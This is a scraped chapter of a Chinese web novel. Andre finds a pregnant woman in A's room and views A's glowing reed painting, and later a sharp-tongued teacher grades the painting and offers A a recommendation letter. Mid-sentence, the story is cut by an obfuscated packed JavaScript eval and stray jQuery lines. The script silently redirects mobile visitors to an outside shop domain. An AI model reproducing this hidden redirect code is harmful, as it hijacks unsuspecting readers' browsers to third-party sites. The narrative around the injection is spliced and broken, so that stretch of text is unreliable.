文趣网 > 都市小说 > 与维克多一家同行 > 8. chapter 8
    安德烈没想到这个时间来得如此之快。

    听了一耳朵管家的“夫妻育儿经”,转头厨房里醒酒汤一灌,再去庭院把凉风一吹,酒意渐渐散去,抬腿迈上二楼,意外撞见 A 的房门虚掩,缝隙里透出点点微光。

    不知道从什么时候起,A 一回到房间就会锁门。

    多年下来,他一直保持这个习惯,没记错的话,这应该是安德烈第一次看见他人在里面,房门却开着。

    结合管家前不久的话,还有时不时翻涌上来的酒劲,担心终于还是占据了上风。

    安德烈微微晃了晃脑袋,屏住一口气,上前敲门。

    规律地咚咚两声,里面传来了一道柔和的女声:“请进。”

    安德烈心下一紧,顾不上思考,唰地一下推开房门。

    每一扇门都是专门定制,定期还会有人上门保养,不管多大的力度,开门都不会发出声响。

    反倒是女人转身,看清楚是谁后,手里的东西掉在地上。

    一把笔刷落地,如烟花炸开一般向四处散去,惊醒了趴在桌上睡觉的人。

    只见 A 猛地从桌子上弹射起身,由于房间的布局,他第一眼看见的是门口的安德烈。

    认出是谁后,他顿时松了口气,瘫回椅子上,正要开口,却发现安德烈非但没有看他,还朝着另一个方向说话。

    “你怎么进来了?”

    随着他的目光望过去,醒目的肚子映入眼帘,A 直接从椅子上跳了起来:“我靠!是呀,你怎么进来的?”

    顶着四道目光,A 可以忽略不计,但一对上那对浅蓝色的眼睛,艾不由玛惊惧,向后退了一步。

    眼下,她的理由再正当,面对这样的审视,她都要怀疑自己是不是居心不良了。

    “我没有别的意思,就是他回来后,一直不出房间,我担心他,就过来看看,但敲了很久的门,都没人回应,就直接进来了。”

    安德烈越过艾玛,锁定不远处的 A,A 突然理解艾玛退一步的认真。

    “没有哇,我今天有出过房间啊。你们看,我还拿了一些点心和水果回来吃。”

    A 端起桌子上的盘子,香蕉剩块皮,点心留点渣,嘴角挂了屑,连人带盘子,邋里又邋遢,就着这副尊容,出门就可以开展副业了。

    安德烈大概猜到是怎么一回事,估计 A 出去后回来,忘了给门上锁。

    见 A 还是一脸懵懂,他收回目光,继续盘问艾玛:“然后呢?”

    “然后我看见他趴在桌子上睡着了,心想他应该是累了,就没叫醒他。又看见房间有点乱,就想着帮他收拾一下,我真的没别的意思。”

    不过望着这“满地狼藉”,说什么收拾,结果越收拾越乱,艾玛赶紧面向 A:“对不起,我好像帮倒忙了,你别担心,我马上给你整理。”

    A 的”公交车爱心专座”弱点再次发力,他哪儿看得了孕妇干活,连忙放下盘子,一个箭步冲过去,在艾玛意欲蹲下前扶她起来。

    “没事儿,没事儿,我自己来就好。”也就几只画笔,捡起来就是,而且笔不便宜,要是又掉地上,摔坏了怎么办,他真不好意思叫一位只是好心办了坏事的孕妇赔偿。

    安德烈酒劲翻涌上来,强忍着额角的青筋暴起,扭头看向一边,心想他接下来不会还要谢谢她吧?

    “谢谢你啊。”

    他闭了会儿眼睛:“……”

    陌生的“小两口”正式步入客气阶段,安德烈顿感疲惫,觉得自己又多管闲事。

    这一次,他还像个不怀好意的第三者,非要掺和进人家“小两口”之间。

    他打算离开是非之地,忽然听见艾玛说:“这么晚了,克莱蒙先生来找你,应该是有事要跟你说吧。我就不打扰了,你们聊,我先回去了。”

    标准的贤妻良母作派,安德烈不置可否,却脚步一顿,侧身让她经过,听着另一间房门打开又关上,视线又一次锁定 A,静静看着他站在艾玛离开前的位置上。

    安德烈定睛凝神,他的表情一旦严肃起来,眉眼就显得有些锋利。

    以往碧空一般的浅蓝色眼睛,这会儿在灯光下被睫毛的阴影覆盖,犹如两口幽蓝的深渊。直直望过去,惊慌下却又移不开眼睛。

    “怎……怎么了?”A 频繁地掀动眼皮,不明白安德烈为什么生气。

    安德烈的脾气说不上好,但绝对谈不上差。大多时候,他总是保持一张淡漠的脸,看上去不好相处,实际上是一个具有基本良知,偶尔还有点热心肠的人。

    这样的人,不爱笑脸相迎,也不爱生气,可是 A 就是觉得,他此刻的心情似乎有点坏。

    “没什么,你要没事儿的话,我回去了。”

    安德烈转身要走,A 慌忙叫住他,语气里暗含了一丝期待:“等等,来都来了,你要不要看看我刚画完的画?”

    “什么画?”也许是酒精作祟,安德烈居然产生了一点兴趣。

    “你先站到这儿来。”A 指挥安德烈走过来,引导他站在画架前。

    画架上确实摆放了一幅画,黑色作底,盛放了一堆杂草,仔细一看,应该是芦苇荡。

    不得不说,安德烈有点失望,就和这堆杂草一样,这幅画也没有什么可圈可点的地方。

    与此同时,A跑到门口,啪的一下把灯关了。

    安德烈环视一圈,昏暗的房间里,只有阳台和敞开的房门透进来一些光源,不至于伸手不见五指。

    “关了灯,还能看什么?夜光画吗?”他嗤笑道,可是眼睛一转,定格在画布上,刚才只觉得普普通通的芦苇荡,现在竟然真的在散发幽幽的冷光。

    “锵锵锵!”A 对这个房间的格局早已烂熟于心,没了光,也能毫无阻碍地跑回来,听见安德烈的话,他打了个响指,略带得意地说:“Bingo!虽然知道你很聪明,但没想到你这么聪明!”

    一通真心的恭维废话过后,他正色道:“我们这次的主题就是《光》,然后我就想,有光的地方,好像看见什么就是什么。”

    安德烈嘴角的弧度早就消失不见,习惯了环境后,这幅画在他眼前越来越清晰。

    A 没有画光源的来处,但是以黑为底,还有发光的芦苇荡,这些元素无不彰示着,有一轮看不见的月亮,在某处照耀一切。

    “所以呀,我觉得光就是,所见皆所是。”A 话音刚落,安德烈的目光正好落在他的脸上。

    光就是,所见皆所是……么?

    “怎么样?我这个创意不错吧。”A 说着,嘴角都快咧到耳根了。

    安德烈却很难倾听他接下来的话,他的眼睛像是粘在他身上似的,怎么也撕不下来。

    或许是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947200|214088||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    晦暗的房间里,只有阳台和走廊可以汲取光源。

    晚风吹拂窗帘,风声、窗帘动,细小的动静,强烈的存在,感官被无限放大,他压抑的情绪似乎只有在这种时候,才得以安全释放。

    也或许仅仅是酒精在作怪,麻痹了大脑,他才变得和平时不一样。

    “你可是第一个欣赏到这幅画的人,明天我就要回学校交给老师了,你说,这次老师会给我打多少分呢?我想,一定是一个很高的分数吧。”

    .

    “六十七。”

    麦格老师低头,在名单上写下分数:“我还以为你的大脑皮层不会发生变化呢,没想到皮还有舒展的一天,有点意思。”

    身后,A 握拳,正准备用力往下拉,庆祝这一激动人心的时刻。

    比欢呼先一步到来的,是麦格老师犀利的眼神。

    “愣着干什么?还不赶快去开灯、拉窗帘?你想用你劣质的光源继续污染我的眼睛吗?”

    “哦哦哦,好的,老师,对不起,老师。”

    昨晚 A 才跟安德烈嘚瑟完,今天就收获了麦格老师“67”的分数,他已经很满意了,毕竟他是补考,麦格老师又一向以严格著称,及格跟优秀,在他看来,其实相差不大。

    A 就这样把自己哄好了。

    麦格老师取下老花镜,挂在胸前,恨铁不成钢道:“这样你就满意了?”

    事实如此,但 A 不敢实话实说:“还有很大的进步空间。”

    “就只会说这种废话?”

    实话那不是不敢说么。

    “行了,实在憋不出来什么有用的话,就不要说了,省得糟蹋完我的眼睛,又来糟蹋我的耳朵。”

    麦格老师和乔治一般大,个不高,人又瘦,花白的头发和不苟言笑的表情,背地里,同学们习惯称呼她为“女巫老师”。

    因为她这张嘴堪比管制刀具,杀人不用见血,却刀刀致命。

    “我听人说,你要考研,最近在找老师给你写推荐信。”平铺直叙也是,说话从来不会拐弯。

    “是的,您怎么知道?”A 愣了一下,没料到她还会关心他的事。

    “你管我怎么知道的,就当我多管闲事好了。”

    A 点了点头,乖乖应道:“哦,好的,老师。”

    麦格老师的脸色似乎有些绷不住了:“……”

    她抬手挠了挠额角发痒的青筋:“说你听话吧,你又总能说一些出乎人意料的话。说你故意的吧,抱歉,我说不出口。”

    这关乎智力的实际水平,麦格老师做不到睁眼说瞎话。

    A 茫然地眨着他那对琥珀色眼睛。

    室内光线充足,他外貌上的优势几乎显现出来,麦格老师嘴是毒,但眼睛还没瞎,只要不听他说话,这一幕还是挺赏心悦目的。

    “闲言少叙,我就直说了吧,我可以帮你写这封推荐信。”

    幻想中的惊喜没有出现,眼前人的脸上隐约还有几分犹豫,麦格老师狠厉地剜了他一眼:“收起你那副德行,我写的是推荐信,不是诉罪状,我还能把你在学校的所作所为全部写上去?我跟你有仇啊,巴不得你学业完蛋?!”

    A 终于露出麦格老师想要的表情了,但她已经不吃这一套,懒得再给好脸,直言道:“天下没有免费的午餐,给你写,没问题,但我有个条件。”